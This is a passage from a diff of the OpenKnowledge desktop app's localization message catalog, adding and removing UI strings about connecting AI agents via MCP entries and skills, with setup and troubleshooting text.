["Hide original"],+ "2gXnCO": ["Global MCP server"],"2hYmUH": ["[email protected]"],"2hpdRq": ["Hide panel (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Enter a valid URL (for example https://api.openai.com/v1)."],"2jUGEP": ["Count skill installs publicly"],"2l293S": ["You can restore this file from the Recycle Bin."],+ "2lJAvH": [+ "The terminal and desktop rows for ",+ ["label"],+ " share one setup, so removing it disconnects both."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["We've filed it with the team and attached your logs."],"2n3oDU": [@@ -327,6 +333,9 @@"3l_cXP": ["Take a look if you'd like. This exact file is what we receive."],"3m2GBo": ["Searching docs"],"3mFsc3": ["Restore with remote changes"],+ "3n7lnE": [+ "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+ ],"3nICSW": ["Adds an OpenKnowledge MCP entry and the project skill to <0>",["toolList"],@@ -355,6 +364,13 @@"49Mb7P": ["We couldn't check whether Slidev is installed. Return to this window to retry."],"4A3Yzu": ["Code block"],"4BITzH": ["Error:"],+ "4C2RCg": [+ "This setup is shared with ",+ ["peers"],+ ". Removing it here removes it for ",+ ["peers"],+ " too."+ ],"4CfgPM": ["Project folder created, but git init failed. Try again."],"4E9jPa": ["Create your first project"],"4EZrJN": ["Rules"],@@ -389,6 +405,7 @@"4niEzY": ["Sandboxed HTML embed — write HTML, see the rendered preview live."],"4nj6n8": ["/api/config returned HTTP ", ["code"]],"4pDZ2N": ["Removed \"", ["0"], "\" from every other location — its source folder still loads"],+ "4sE6E9": ["Couldn't check which tools are connected."],"4sKwf6": ["File already exists"],"4sUdTJ": ["themed preview"],"4uNLmk": ["Pulling"],@@ -411,6 +428,7 @@"5Ajb15": ["The formula <0>c = √(a² + b²)</0> renders inline."],"5AzM72": ["This setting is per-machine and isn't shared with collaborators."],"5BlXTD": ["Couldn't load the version preview. You can still choose how to resolve it below."],+ "5CHuXn": [["0"], " needs ", ["1"], ". Turn both off, or keep both on."],"5ClEAu": ["Inline hashtag for cross-doc grouping."],"5D3Ior": ["Hide folder"],"5F5HYj": [["ahead"], " ahead, ", ["behind"], " behind"],@@ -429,6 +447,9 @@"5OqaJi": ["Enter a project name"],"5PHgV2": ["You can also create one from a terminal with <0>ok bug-report</0>."],"5QGTaA": ["Could not copy relative path"],+ "5RiC8D": [+ "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+ ],"5SwVv1": ["Not installed"],"5Szq6N": ["This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."@@ -586,6 +607,12 @@"7IsvrP": ["Checking for updates"],"7JtSLi": ["Failed to delete path"],"7MSbAT": ["Available in"],+ "7Ny8bV": [+ ["dependent"],+ " needs ",+ ["prerequisite"],+ ", and OpenKnowledge could not find this agent on this machine."+ ],"7O7REc": ["Couldn’t restore ", ["0"], ". Try again."],"7OhaRy": ["Source search"],"7Ongq0": ["Condense my AGENTS.md file to less than 40k characters"],@@ -713,6 +740,7 @@"8uGMP8": ["Hidden content goes here."],"8vCZcs": ["Failed to open file."],"8vETh9": ["Show"],+ "8wwkVu": ["This entry changed after OpenKnowledge wrote it. Turning it on replaces it."],"8x6zk9": ["Hide ", ["0"], " editor"],"9-lMCF": [["slot"], " color — ", ["0"]],"90-wKT": ["OpenKnowledge read the history of ", ["subject"]],@@ -842,7 +870,6 @@"AYoYhU": ["Update failed: ", ["0"]],"AaC-CE": ["Empty board"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["Custom open-knowledge entry — not managed by OpenKnowledge"],"AdcGcG": ["Applying your change"],"AddR83": ["Could not create project. Try again or pick a different location."],"AeHuzT": ["# One pattern per line.\n# Examples:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -867,6 +894,7 @@"AkA6DO": ["Part of the ", ["0"], " plugin — read-only; open it to edit a copy"],"Al8HPP": ["Accept current version for conflict ", ["0"]],"Am78jY": ["Drag ", ["keyName"], " to reorder"],+ "ApNWRQ": ["Remove OpenKnowledge from ", ["0"], "?"],"ApeA0n": ["Undid ", ["dropCount"], " edits on ", ["docName"]],"Aq-O0x": ["status"],"AqnqMJ": ["API key set"],@@ -908,6 +936,9 @@"BGtzlf": [["uploadFolderName"], " — 1 file"],"BH56dn": ["Custom display text"],"BKI4hX": ["Find in file"],+ "BMoSQy": [+ "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+ ],"BOsvJ8": ["<0>ok</0> won't run in external terminals until you add it later from the File menu. Your AI tools keep working."],@@ -979,11 +1010,7 @@"CU3AiE": ["Switching branches"],"CUmCwI": ["Insert row below"],"CWjM1r": ["docs directly in ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."- ],"CXDYfm": ["Couldn't read whether this project's skill is installed."],- "CXTwen": ["Can't safely edit this project config"],"CXcveY": ["Open Knowledge maintains a navigation file named index.md in every folder that contains Markdown, each listing that folder's documents by type and linking to its subfolders. It rewrites these files as your documents change, and anything you edit into them yourself is replaced."],@@ -1015,14 +1042,17 @@"In Git projects, Open Knowledge adds a scoped rule to the repository-root .gitattributes file so concurrent index changes combine."],"CxVk-w": ["Comment on ", ["address"]],+ "CxnZP4": ["Choose what OpenKnowledge sets up."],"Cz-K13": ["15 minutes"],"D-NlUC": ["System"],- "D-Oh1s": ["How to set up ", ["0"], " (opens in browser)"],"D-_B7l": ["Connected — this endpoint returns ", ["0"], "-dimension vectors."],"D0CegO": ["A second skill with this name — rename it (or delete one) to manage it fully."],"D12vtS": ["(detached)"],"D2emTw": ["Something went wrong sending your feedback. Please try again."],"D4H2N6": ["Remove ", ["tag"]],+ "D4I0F9": [+ "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+ ],"D7gKrd": ["OpenKnowledge couldn't write launch settings under .ok/local/terminal because the folder is not safely contained in this project. Check that it is a real folder inside the project, not a link. Claude will ask you to approve OpenKnowledge."],@@ -1106,6 +1136,7 @@"E1_c72": ["Task list"],"E1tG2u": ["Get Claude Code"],"E2Mv-X": ["Copy source"],+ "E35Meh": ["Remove ", ["rowLabel"]],"E4XYYH": ["Enable terminal for this project"],"E5WeIy": ["Reopen the most recently closed editor tab."],"E6lrpp": [@@ -1115,7 +1146,9 @@"E91VZY": ["Open in New Window"],"E9bKSA": ["Creating"],"E9gh86": ["You can attach up to ", ["MAX_ATTACHMENTS"], " images."],+ "EBP_hA": ["Adds an OpenKnowledge MCP entry to this project's agent config."],"EBVbtP": ["Could not duplicate item"],+ "EDD3UL": ["Not detected on this machine"],"EDl9kS": ["Subscribe"],"EDm3wJ": ["Loading diff renderer"],"EEYbdt": ["Publish"],@@ -1203,6 +1236,7 @@"EvPX7f": ["Opens a folder picker to choose where to clone the repository."],"EvXKHE": ["OpenKnowledge searched the knowledge base"],"Evq3lu": ["Orphan mode"],+ "Evsh6U": ["Your documents are not touched."],"ExPiRQ": ["Move to the next CodeMirror lint diagnostic."],"ExUzM4": ["skill \"", ["0"], "\""],"F-1xhe": [@@ -1236,7 +1270,6 @@"FEqWFL": ["Guides your AI agents on how to work here."],"FEr96N": ["Theme"],"FF7V5K": ["Actual Size"],- "FK57sK": ["repaired ", ["names"], " MCP integration"],"FKVmcC": ["Settings for this project. Some are shared with every collaborator through git; others apply only on this computer."],@@ -1329,6 +1362,12 @@"Any .mdx file. The format is .md-only, so a reader scanning for .md never opens it — and if a .md of the same name exists, reads that one instead."],"GSYWCm": ["Hide document panel"],+ "GTvYzA": [+ ["dependent"],+ " needs ",+ ["prerequisite"],+ ", which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+ ],"GU1Y4A": ["Local-only requested but no git repository was created. Switch later via Settings → Sync & sharing once the project is in a git repo."],@@ -1394,6 +1433,11 @@],"H86f9p": ["Collapse"],"H8DVOJ": ["Identical in both — ", ["pick"], " still reads them."],+ "H8tj8y": [+ "This setup is shared with ",+ ["peers"],+ ", and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+ ],"HAkEqR": ["Recent files"],"HAvHev": ["Auto-update off for \"", ["name"], "\""],"HAvRAI": [["skillCount", "plural", { "one": ["skill"], "other": ["skills"] }]],@@ -1408,7 +1452,6 @@"Slidev isn't installed, so the Slidev action stays hidden. Install it, then return to this window."],"HSI88F": ["Delete table"],- "HTW0Zw": ["One more step: run <0>claude</0> in this project and approve OpenKnowledge once."],"HZ7fEu": ["Theme name"],"HbcQYf": ["Replace the symlink at ",@@ -1596,6 +1639,7 @@"KPW5WC": ["moved template"],"KQGZuq": ["Reused if it already exists, created if not."],"KRJ6xh": ["No tags yet. Continue typing to create one."],+ "KTxoDA": ["OpenKnowledge does not recognize this entry. Turning it on replaces it."],"KUjOb9": ["running"],"KWL_Ih": ["Blog post"],"KX1MZR": ["Your repositories"],@@ -1629,6 +1673,7 @@"KsAPaB": ["This branch is checked out in:"],"KtACeE": ["Default: <0>", ["0"], "</0>"],"KujtjC": ["Find"],+ "Kuw5NN": ["How to set up ", ["rowLabel"]],"KvwJv8": ["Some files are not listed — the working tree has too many changes."],"Kx881F": ["Restored ", ["0"], "."],"L-rMC9": ["Reset to default"],@@ -1690,7 +1735,6 @@],"LaskKp": ["Send to chat (", ["0"], ")"],"Lbl6KA": ["Couldn't install from ", ["0"], ": ", ["1"]],- "LbmLyU": ["Can't safely edit this tool's config"],"LdABLa": ["Could not open ", ["target"], ". Try opening it manually."],"LdKIHS": ["Draft a spec"],"LeGeTf": ["OpenKnowledge on GitHub"],@@ -1717,6 +1761,7 @@"Lrsl_h": ["Missing file ", ["identity"], ". Go to reference."],"LtI9AS": ["Owner"],"LtSYdi": ["Reveal in Finder"],+ "LtiJ5c": ["Project skill"],"LuoJWu": [["truncatedShownCount",@@ -1836,9 +1881,6 @@"NIWAux": ["No docs registered under #", ["tagDocsName"], "."],"NJyQi_": ["Branch ", ["shareBranch"], " no longer exists on the remote."],"NKkZXl": ["Initialize and open"],- "NNJsn7": [- "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."- ],"NOHyEE": ["Retry push"],"NORKZU": ["Pattern warnings: ", ["summary"]],"NQ8llq": ["Add item"],@@ -1898,7 +1940,6 @@"O0Z2Xr": ["Outgoing"],"O2UpM1": ["Browse"],"O3oNi5": ["Email"],- "O4PnDd": ["AI tool management is only available in the OpenKnowledge desktop app."],"O6H89R": ["Resolved"],"O6yEPk": ["Create a new OpenKnowledge project in the folder of your choice."],"O7_W_a": ["Open with AI"],@@ -1961,7 +2002,6 @@"OlFVNr": ["Ask AI About Selection"],"Oo_WWc": ["No pages found"],"Oos8fo": ["Copy command"],- "OplnBG": ["Managing AI tools is unavailable in this build."],"OqqecQ": ["30 seconds"],"OsSaYm": ["Clone failed: ", ["title"]],"OuQezS": ["Applies when you pick this conversation back up"],@@ -1989,6 +2029,11 @@"P6gXB-": ["Replace ", ["keyName"]],"P6lAT3": ["Folder target: ", ["linkTitle"], ". Click to open the overview."],"P8AnMN": ["Checking for Slidev"],+ "P9rQN2": [+ "The terminal and desktop rows for ",+ ["label"],+ " share one setup, so connecting either connects both."+ ],"PB4upl": ["Find previous match"],"PBQwGb": ["Search files, commands, projects, and AI handoff actions. The K chord adds a link instead when text is selected in the visual editor; the P chord always opens the palette."@@ -2084,6 +2129,7 @@"QDZbvN": [["diffDays"], "d ago"],"QGWzup": ["Loading OpenKnowledge skills"],"QHCx0c": ["Bug report history"],+ "QHcLEN": ["Connected"],"QIrBIx": ["Expand all files"],"QIzioS": [["agentName"], " doesn't accept image attachments."],"QKgePK": ["Aligned ", ["editor"], " to the source (its bytes are backed up)"],@@ -2152,6 +2198,7 @@"RD6H9q": ["Open Knowledge rewrites these index.md files as documents change, so manual edits to them are replaced."],+ "RD8cCw": ["Managing agent connections is unavailable in this build."],"RDjuBN": ["Setup"],"RDrXh4": ["Configure user, project, and integration settings."],"REkvLz": [@@ -2185,6 +2232,7 @@"RSqaSd": ["Project root"],"RVZJWQ": ["Search projects..."],"RXEbZy": ["In app"],+ "RXYvxn": ["This option cannot be changed automatically."],"RY6Bq1": ["Open shared ", ["targetNoun"]],"RZXTlY": ["Auto-fix (", ["count"], ")"],"R_U_A4": ["Add file or folder pattern, e.g. guides/**/*"],@@ -2229,6 +2277,9 @@"S33tz3": ["Not connected"],"S3qu11": ["It was a trial or one-off project"],"S48xcO": ["pending"],+ "S6SbxA": [+ "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+ ],"S6eHlw": ["Open a project first."],"S6l5dv": ["Could not start creating a new item"],"S9Vnum": ["Remove ", ["patternText"]],@@ -2461,7 +2512,6 @@"VFQXPl": ["External link previews show a card with the site name, page title, and description when you hover a link."],- "VIwCaD": ["Entry"],"VJaBca": ["Choose a skill folder"],"VL6VsE": ["Accept current"],"VM7H66": ["This file is binary and can't be shown as text."],@@ -2524,6 +2574,7 @@"W9NSe0": ["Checking links"],"W9_Bub": ["Local changes overlap with incoming sync"],"WBNpt9": ["Couldn’t read this theme (", ["0"], ")"],+ "WEYdDv": ["Recommended"],"WFEbV1": ["Flag common markdown issues in the editor. Powered by <0>markdownlint<1/></0>."],"WG3MZ4": [["0"], " skills selected"],"WGMoTY": ["Bugs, crashes, or it felt unreliable"],@@ -2595,19 +2646,19 @@"XBBZnv": ["Link target \"", ["shown"], "\" does not resolve to an existing document."],"XBgr2S": ["Copy in"],"XDzAnp": ["Opens in a new tab"],- "XEfNPL": [- "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."- ],"XF1kgP": ["Everything from ", ["source"], " is already up to date"],- "XFpEgc": [- "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."- ],"XGKy1z": ["Image couldn't be displayed"],"XH30C4": ["document"],"XIltnd": ["A skill named \"", ["trimmed"], "\" already exists here"],"XJOV1Y": ["Activity"],"XK5cbh": ["Traverse OpenKnowledge navigation history forward."],"XNBGZw": ["Message not sent: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " needs ",+ ["prerequisite"],+ ", and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+ ],"XPJ0sN": [["settingsDescriptorLabel"], " properties"],"XPqe3B": ["Create new tag #", ["tagValue"]],"XRuL0i": ["Create page"],@@ -2661,6 +2712,12 @@"Xp7Kq4": ["Another sync operation is in progress. Try again in a moment."],"Xp94R1": ["Try one more time"],"XpIZmv": ["Fenced code block with monospace text."],+ "XrPvMT": [+ ["dependent"],+ " needs ",+ ["prerequisite"],+ ", and OpenKnowledge cannot safely replace that entry in this file's format."+ ],"Xs1kjx": ["Check for updates every"],"Xs7IcT": ["Couldn't reach ", ["displayName"], " — try again?"],"XszXjc": ["Renamed to ", ["0"]],@@ -2680,6 +2737,7 @@["pickedRelative"],"</1> because it contains a <2>.git</2> folder (one .ok/ per git repo). <3>Content directory</3> defaults to <4>.</4> (the whole repo); type a sub-folder to narrow it."],+ "Y1wa2r": ["Remove OpenKnowledge?"],"Y2tU6I": ["Delete ", ["0"]],"Y5la_5": ["Install into"],"Y6PKd1": ["Remove ", ["name"], " from recent projects"],@@ -2803,9 +2861,6 @@"ZWwYwM": ["Base branch"],"ZWxfrc": ["cleared folder properties"],"ZWyHmq": ["This project"],- "ZYtq3m": [- "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."- ],"Z_nNa2": ["Name your theme"],"ZatAO_": ["Failed to enable link previews — ", ["detail"]],"Zf0w-R": [@@ -2851,7 +2906,6 @@["label"]," uses instead of the plugin's — it stops tracking plugin updates."],- "_5qBNl": ["AI tools & CLI"],"_6FVBz": ["Jump to tab 1-8"],"_7UQ7y": ["Whole word"],"_8quCH": ["From template"],@@ -2864,6 +2918,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["repaired MCP integration for ", ["names"]],"_Bix3-": ["Occurrences of ", ["localizedFirstMessage"]],"_DwR-n": ["Creating…"],"_G7A92": ["Maintain index.md"],@@ -2875,7 +2930,6 @@"_JOGC0": ["Send feedback…"],"_LczaQ": ["Denied — ", ["optionName"]],"_NWEid": ["Search schema files by path"],- "_NX6gG": ["Managing project AI tools is unavailable in this build."],"_O7dJS": ["Different version here — click to compare and resolve"],"_PACVa": ["Release notes"],"_PBJRl": ["Add at least one letter or number."],@@ -2903,6 +2957,9 @@"_ci9Bj": ["Server returned an incomplete folder response."],"_eguJc": ["Uploading"],"_fQGOp": ["Spaces aren't allowed in the path"],+ "_fZSIY": [+ "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+ ],"_gO_m8": ["Waiting for your approval"],"_gkGSK": ["deleted template"],"_pY_Vq": ["The repository was moved, renamed, or deleted."],@@ -2910,6 +2967,7 @@"_rP3HI": [["minutes"], "m ago"],"_tekeB": ["updated folder properties"],"_tjopj": ["Paste duplicate"],+ "_uxBz5": ["Add MCP & skill for ", ["rowLabel"]],"_yB-24": ["everything under any ", ["0"], "/ folder"],"a-cKXz": ["Select all source"],"a3LDKx": ["Security"],@@ -3023,6 +3081,7 @@"blFttG": ["Search projects"],"bmC18N": ["Clearing local collaboration data for \"", ["docName"], "\" before reconnecting."],"bnOTEz": ["Retrieving…"],+ "bn_MDX": ["Why this needs attention"],"bpMVIA": ["Link target \"", ["shown"], "\" could not be resolved to a project-local target."],"bpytj4": ["Move to ", ["0"]],"brCtGB": ["History unavailable"],@@ -3147,6 +3206,7 @@"d3dX3w": ["Look Up \"", ["word"], "\""],"d5rK4X": [["chars", "plural", { "one": ["char"], "other": ["chars"] }]],"d6qW27": [["agentName"], " reported: ", ["headline"]],+ "dCforW": ["Writing this file failed. Check the OpenKnowledge log for the reason."],"dD7NPy": ["Outline"],"dDpCOp": ["Rename succeeded but the sidebar may be out of date — refresh to resync"],"dEgA5A": ["Cancel"],@@ -3158,6 +3218,7 @@["currentBaseLabel"],"</1>, in its own worktree under <2>.ok/worktrees/</2>."],+ "dGcsnU": ["Remove for both"],"dIYSqk": ["remote"],"dJw2_7": ["Saved with the project for your team."],"dMsx3p": ["Home page and navigation hub."],@@ -3172,6 +3233,9 @@"dVaXnv": ["Content rules not yet loaded — try again in a moment"],"dXCi3J": ["Something broke"],"dXOolp": ["Syncing your changes"],+ "da7Yfw": [+ "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+ ],"darW93": [["pageCount",@@ -3261,6 +3325,7 @@],"eh3QBq": ["Excalidraw board failed to load."],"eiUA4k": [["count", "plural", { "one": ["#", " comment"], "other": ["#", " comments"] }]],+ "ejiJeW": ["OpenKnowledge discovery skill"],"ekSPiP": [["0"], " was already deleted."],"el2KyL": ["Slidev found in this project. Decks will use the project's version."],"emMrXQ": ["Server returned a malformed duplicate response."],@@ -3276,6 +3341,7 @@"euc6Ns": ["Duplicate"],"evs0iw": ["Tags matching \"", ["tagListQuery"], "\""],"ewSbS_": ["Shell session"],+ "ewlFNL": ["MCP auto-repair failed for ", ["failures"]],"ezUmoU": ["Allowed element values (empty = any)"],"f-k37b": ["Install this skill"],"f1-q9m": ["keeps the skills"],@@ -3326,6 +3392,23 @@"fj5YiP": ["Downloads a fresh copy from GitHub."],"fnlBN4": ["Auto-approve settings not yet loaded — try again in a moment"],"fo6CCk": ["pane ", ["0"]],+ "followup.approve-once": [+ "One more step: run ",+ ["agent"],+ " in this project and approve OpenKnowledge once."+ ],+ "followup.enable-manually": [+ "One more step: enable it in ",+ ["agent"],+ " → Settings → Tools & MCP (",+ ["agent"],+ " leaves project servers off until you turn them on)."+ ],+ "followup.trust-gated": [+ "Connects automatically the next time you open this project in a trusted ",+ ["agent"],+ " session."+ ],"fqSfXY": ["Replace"],"ft-BOm": ["Report a bug…"],"fuJZKk": ["Search branches"],@@ -3333,6 +3416,15 @@"fwhX-N": ["Indent or outdent source"],"fwrPh4": ["Please enter a valid email."],"fxbCNQ": ["Synced. The link is up to date."],+ "fybwfg": [+ "This setup is shared with ",+ ["peers"],+ " through <0>",+ ["path"],+ "</0>. Removing it here removes it for ",+ ["peers"],+ " too."+ ],"g-dkjJ": ["Local file details aren't available yet."],"g12y1g": ["Invalid YAML"],"g1ZTh_": [@@ -3353,7 +3445,6 @@}]],- "g4WlQK": ["Project AI tool management is only available in the OpenKnowledge desktop app."],"g4XBm0": ["Small section heading."],"g4e0hS": ["Ask ", ["agentName"]],"g58Kwy": [@@ -3415,6 +3506,7 @@"gfb-CM": ["Could not fetch branch — sign in to GitHub and try again."],"gfdqcY": ["Couldn't apply the change: ", ["0"]],"gfohmY": ["Connect tools"],+ "ggMMa7": ["Project MCP server"],"ggm6JX": ["This page doesn't exist yet. Open it to create the page in the editor and collapse the graph."],@@ -3433,6 +3525,40 @@"gpbKxw": ["Link validation is unavailable."],"gqk-3R": ["Moved ", ["0"], " to ", ["destination"], "."],"gtEbeW": ["Highlight"],+ "guidance.mcp.managed-file": [+ "Writes a small bridge file ",+ ["agent"],+ " loads from this project to reach OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "Adds OpenKnowledge to the MCP config ",+ ["agent"],+ " reads in this project, so it can read, search, and edit these documents."+ ],+ "guidance.mcp.session-injection": [+ ["agent"],+ " gets OpenKnowledge's tools each time OpenKnowledge launches it; nothing is written to its config."+ ],+ "guidance.mcp.user-config": [+ "Adds OpenKnowledge to ",+ ["agent"],+ "'s own MCP config, so every project on this machine is reachable."+ ],+ "guidance.skill.central-store": [+ "Puts the OpenKnowledge skill in the central skills store ",+ ["agent"],+ " reads."+ ],+ "guidance.skill.project": [+ "Puts the OpenKnowledge skill in ",+ ["agent"],+ "'s skills folder for this project, so its edits stay attributed."+ ],+ "guidance.skill.user": [+ "Puts the OpenKnowledge discovery skill in ",+ ["agent"],+ "'s machine-wide skills folder, so it can find OpenKnowledge in any project."+ ],"gv5w9J": ["owner/repo, a git URL, or a local path"],"gvApb7": ["Turn the things you read into clear, trusted articles. Save a source, figure out what it means, then keep the final version so you can rely on it later."@@ -3445,6 +3571,14 @@"h06R3C": ["No pages are missing outgoing graph links."],"h16FyT": ["Lists"],"h2N-1n": ["Installed in ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " needs ",+ ["prerequisite"],+ ", and OpenKnowledge does not recognize that entry. Tick ",+ ["prerequisite"],+ " to replace it, then save again."+ ],"h3QZcB": ["A branch named ",["shareBranch"],@@ -3554,7 +3688,6 @@"iH8pgl": ["Back"],"iHAJDj": ["Resolving default location"],"iIaSUD": ["Whitespace"],- "iKS6gg": ["Skills moved to Skills Studio."],"iKSP5j": ["Word wrap"],"iKZkk1": ["Property value"],"iKvAeG": ["Checking"],@@ -3603,6 +3736,7 @@"ij-Elv": ["Image preview"],"ijLc3m": ["Bullet list"],"ilodsp": ["Let agents use OpenKnowledge without asking"],+ "inJhKB": ["Replace and save"],"ioMn4Z": ["New from Template…"],"iodl3p": ["Server returned a malformed upload response."],"ipCibE": ["Empty folder names aren't allowed (//)"],@@ -3618,6 +3752,7 @@"irnKr_": ["Updated ", ["updatedRelative"]],"irrm_E": ["Remove selection"],"isRobC": ["New"],+ "itchkf": ["Connects the agent to OpenKnowledge in every project on this machine."],"iuTKci": ["No edits yet."],"iv452l": ["Documentation for ", ["0"], " (opens in browser)"],"iycx_A": ["Pushing"],@@ -3797,6 +3932,7 @@"kfL8BJ": ["Import failed: ", ["0"]],"kj9pAE": ["Creating page"],"kjlQ9D": ["becomes a symlink"],+ "kjrq_8": ["More information"],"kknhfj": ["No changes"],"kkux8f": ["Couldn’t delete ", ["0"], ". Try again."],"klPS-L": ["Original file — before this agent's edits."],@@ -3852,6 +3988,7 @@"l87Deg": ["Choose what a new tab starts"],"l9s3IX": [["agentName"], " couldn't start a conversation."],"lAiyU_": ["Only the current document uses <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Agent connections"],"lCC_D5": ["Subscribing..."],"lGs_bQ": ["Page <0>*</0>"],"lHCR4I": ["Clear the field to reset back to the default OpenAI endpoint."],@@ -3934,9 +4071,6 @@"mHo0kp": ["The request to enable Open Knowledge tools timed out. This thread runs without them."],- "mLAjyL": [- "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."- ],"mPoOmg": ["install a skill here first"],"mPy9lS": ["Organize my existing specs into a linked index grouped by area, and flag any that have drifted out of sync with the current code."@@ -3954,6 +4088,7 @@"maDWIB": ["Mirror source <0>api-spec</0>"],"makN88": ["No patterns yet. Type a folder or file name below to start hiding files."],"mdKFEy": ["You cancelled loading \"", ["docName"], "\"."],+ "mdWhUY": ["OpenKnowledge could not find this agent on this machine."],"mdzKSV": [["nodeCount", "plural", { "one": ["#", " node"], "other": ["#", " nodes"] }]],"mf37rL": ["Retrying"],"mg0YGL": ["Source multi-cursor and multi-select"],@@ -4013,6 +4148,7 @@"mwMF9u": ["Open CodeMirror search in source editor mode."],"mxGJVE": ["Switch worktree…"],"mxY24F": ["Duplicate the focused file-tree item when focus is in the Files sidebar."],+ "n11Jj7": ["Installs the OpenKnowledge project skill for this agent."],"n2XqGH": ["editor pane"],"n2lRue": ["Commit or stash changes to switch:"],"n3T3EE": ["Installed in ", ["label"], " — click to remove"],@@ -4028,9 +4164,6 @@],"n7aopT": ["Editor mode"],"n81AV0": [["owner"], "/", ["name"], " already exists. Pick a different name."],- "n8DwqQ": [- "Connects automatically the next time you open this project in a trusted Codex session."- ],"nBHvPL": ["Cancel editing"],"nBgzKO": ["Make this the source — the skill's real folder moves here"],"nCzR-G": ["Copy code ", ["userCode"]],@@ -4094,6 +4227,9 @@"nsM-_m": ["Browse hundreds of themes"],"nsUDL8": [["0"], " of ", ["1"], " projects selected"],"nskygk": ["Choose agent"],+ "nta97o": [+ "Gives the agent instructions for working with your documents and keeps its edits attributed."+ ],"nwtY4N": ["Something went wrong"],"nxlOpL": ["OpenKnowledge is using this GitHub account."],"ny6vNn": [@@ -4159,6 +4295,9 @@"\" could not be cleared. Reload to retry."],"oxdGJn": ["Before you go, mind sharing why?"],+ "oxj8er": [+ "Connects the agent to this project so it can read, search, and edit your documents."+ ],"oy5bJW": ["You can add"],"oyBV3W": ["Custom skills folder path"],"p0Iq25": ["Insert link"],@@ -4232,7 +4371,6 @@["2"],"\" skill. Anything in SKILL.md that points at it will break until it's recreated."],- "psfGPX": ["MCP connections"],"psl2Sj": ["Your change is still being saved — run the test again in a moment."],"ptQ3_N": ["unlink"],"pvnfJD": ["Dark"],@@ -4246,6 +4384,7 @@"q4YJl_": ["The terminal session ended (exit code ", ["0"], ")."],"q4efaG": [["filePath"], " is no longer in this skill"],"q6-JVU": ["Loading pages"],+ "q63KUv": ["Add MCP & skill"],"q7F5am": ["title"],"q8aCbb": ["Two versions of \"", ["0"], "\" — source vs ", ["editor"]],"qAQVSD": ["Page headings response was not JSON"],@@ -4316,10 +4455,12 @@"qlAIQ1": ["Remote"],"qo4zCg": ["Path cannot contain backslashes"],"qpQwGC": ["Describe what you're working on and the agent sets it up for you."],+ "qr2gAH": ["Choose what OpenKnowledge sets up for ", ["0"], "."],"qribBG": ["schema ", ["deleteTarget"]],"qtnmEX": ["Enter a valid theme name."],"qvWGzP": ["Collapse all"],"qyLmWw": ["Source editor search panel"],+ "qze9od": ["This folder is also ", ["alsoAffects"], "'s."],"r-OJYm": ["Enter a valid branch name (no spaces, no leading dot, no \"..\")."],"r2eKE3": ["Sign in to ", ["agentName"], " first"],"r4R7AZ": ["Network error during cleanup"],@@ -4411,6 +4552,9 @@"s1c0ja": ["Bullet List"],"s3caR3": ["Deleting"],"s7us1p": ["Only PNG, JPEG, or WebP images are allowed."],+ "s8difl": [+ "Without the skill the agent still works, but it loses edit attribution and the live preview."+ ],"sAP9XO": [["0"], " plugin · ", ["1"]],"sE7R19": ["Could not load templates: ",@@ -4502,6 +4646,9 @@"tA0b9E": ["the default skills folder (the exact path appears once saved)"],"tA2-xC": ["\"", ["0"], "\" was already added (identical content)."],"tAPZEx": ["Below"],+ "tCE-ZH": [+ "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+ ],"tCyvAw": ["Attach a file"],"tHKQ6j": ["Renaming"],"tKlWWY": ["Emoji"],@@ -4544,6 +4691,52 @@"tnG-m6": ["Auto-sync is paused — sign in to resume."],"toyw51": ["Mermaid diagram controls"],"tqQBwN": ["Any scripts are shown for review, never run."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " asks you to approve each OpenKnowledge tool the first time it is used."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "If ",+ ["agent"],+ " shows no OpenKnowledge tools, run it in this project and approve the OpenKnowledge server once."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "The ",+ ["agent"],+ " desktop app ignores this project config; only the ",+ ["agent"],+ " CLI reads it."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " reads the workspace MCP config OpenKnowledge writes for ",+ ["sourceAgent"],+ "; removing it for one removes it for both."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "If ",+ ["agent"],+ " shows no OpenKnowledge tools, turn the server on under Settings → Tools & MCP; ",+ ["agent"],+ " leaves project servers off until you do."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "If ",+ ["agent"],+ " shows no OpenKnowledge tools, check that its MCP config path in its settings matches the file OpenKnowledge wrote."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ "'s central skills store does not exist yet; start ",+ ["agent"],+ " once so it creates it, then try again."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " loads project extensions only in folders you have trusted; trust this folder in ",+ ["agent"],+ " if the tools do not appear."+ ],"tsiTqO": ["Paste your API key"],"tvMvze": ["Could not move \"",@@ -4598,6 +4791,7 @@"uUCrBv": ["symlink"],"uV3EYs": 